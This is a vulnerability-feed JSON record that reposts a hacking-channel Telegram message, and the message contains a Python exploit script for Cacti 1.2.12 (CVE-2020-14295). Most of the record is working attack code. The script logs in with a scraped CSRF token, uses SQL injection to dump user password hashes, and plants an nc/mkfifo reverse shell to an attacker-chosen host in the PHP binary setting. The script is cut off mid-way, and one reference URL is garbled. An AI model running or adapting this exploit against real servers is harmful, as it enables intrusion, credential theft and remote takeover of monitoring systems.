{"uuid": "07de7dbb-cb2c-4dbe-ac7d-e84f4b8d1e93", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-14295", "type": "seen", "source": "https://t.me/hacking_Attack/6874", "content": "Exploit Collector\nCacti 1.2.12 SQL Injection / Remote Code Execution\n\nhttps://1.bp.blogspot.com/-ioJ53oCx49I/WWlvK_l1r2I/AAAAAAAAIMA/qrzTnRYsG8QUcC_eXdokNXQ8WpqzEpJrACLcBGAs/s1600/h16.png \nCacti version 1.2.12 remote code execution exploit that leverages a remote SQL vulnerability.\n\nMD5 | 7d02b8eae5a01a746cf44cba4c1fe1a3\n\nDownload\n# Exploit Title: Cacti 1.2.12 - 'filter' SQL Injection / Remote Code Execution\n# Date: 04/28/2021\n# Exploit Author: Leonardo Paiva\n# Vendor Homepage: https://www.cacti.net/\n# Software Link: https://www.cacti.net/downloads/cacti-1.2.12.tar.gz\n# Version: 1.2.12\n# Tested on: Ubuntu 20.04\n# CVE : CVE-2020-14295\n# Credits: @M4yFly (https://twitter.com/M4yFly)\n# References:\n# https://github.commandcom/Cacti/cacti/issues/3622\n# https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-14295\n\n#!/usr/bin/python3\n\nimport argparse\nimport requests\nimport sys\nimport urllib.parse\nfrom bs4 import BeautifulSoup\n\n# proxies = {'http': 'http://127.0.0.1:8080'}\ndef login(url, username, password, session):\nprint(\"[+] Connecting to the server...\")\nget_token_request = session.get(url + \"/cacti/index.php\", timeout=5) #, proxies=proxies)\n\nprint(\"[+] Retrieving CSRF token...\")\nhtml_content = get_token_request.text\nsoup = BeautifulSoup(html_content, 'html.parser')\n\ncsrf_token = soup.find_all('input')[0].get('value').split(';')[0]\n\nif csrf_token:\nprint(f\"[+] Got CSRF token: {csrf_token}\")\nprint(\"[+] Trying to log in...\")\n\ndata = {\n'__csrf_magic': csrf_token,\n'action': 'login',\n'login_username': username,\n'login_password': password\n}\n\nlogin_request = session.post(url + \"/cacti/index.php\", data=data) #, proxies=proxies)\nif \"Invalid User Name/Password Please Retype\" in login_request.text:\nprint(\"[-] Unable to log in. Check your credentials\")\nsys.exit()\nelse:\nprint(\"[+] Successfully logged in!\")\nelse:\nprint(\"[-] Unable to retrieve CSRF token!\")\nsys.exit()\ndef exploit(lhost, lport, session):\nrshell = urllib.parse.quote(f\"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {lhost} {lport} >/tmp/f\")\npayload = f\"')+UNION+SELECT+1,username,password,4,5,6,7+from+user_auth;update+settings+set+value='{rshell};'+where+name='path_php_binary';--+-\"\n\nexploit_request = session.get(url + f\"/cacti/color.php?action=export&header=false&filter=1{payload}\") #, proxies=proxies)\n\nprint(\"\\n[+] SQL Injection:\")\nprint(exploit_request.text)\n\ntry:\nsession.get(url + \"/cacti/host.php?action=reindex\", timeout=1) #, proxies=proxies)\nexcept Exception:\npass\n\nprint(\"[+] Check your nc listener!\")\n\nif __name__ == '__main__':\nparser = argparse.ArgumentParser(description='[*] Cacti 1.2.12 - SQL Injection / Remote Code Execution')\n\nparser.add_argument('-t', metavar='\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-01T20:02:44.786231Z"}